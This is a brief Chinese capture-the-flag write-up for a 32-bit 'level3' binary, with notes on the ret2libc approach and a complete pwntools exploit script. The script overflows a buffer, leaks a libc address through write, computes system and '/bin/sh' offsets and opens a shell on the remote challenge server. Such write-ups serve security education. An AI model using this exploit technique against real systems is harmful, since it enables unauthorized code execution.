解题思路
- 查看文件信息,安全机制
- 代码审计
- 分析漏洞点
- 编写EXP
查看文件信息,安全机制
代码审计
分析漏洞点
根据题目提示 用ret2libc
用elf来加载题目给的libc
爆出地址的时候只要前4位!!!巨坑
binsh的地址不是用libcsearcher得到的话只能查找偏移量
编写exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| from pwn import *
p=remote("111.198.29.45","37420") elf=ELF("level3") libc=ELF("libc_32.so.6") write_addr=elf.plt['write'] write_got_addr=elf.got['write'] main_addr=elf.sym['main'] offset=0x88+0x4 payload="a"*offset+p32(write_addr)+p32(main_addr)+p32(1)+p32(write_got_addr)+p32(4) p.sendlineafter("Input:\n",payload) write_blic_addr= u32(p.recv()) print write_blic_addr base_addr=write_blic_addr-libc.sym['write'] system_addr=base_addr+libc.sym['system'] binsh_addr=base_addr+0x0015902c payload2="a"*offset+p32(system_addr)+p32(0x00000000)+p32(binsh_addr) p.recvuntil(":\n") p.sendline(payload2) p.interactive()
|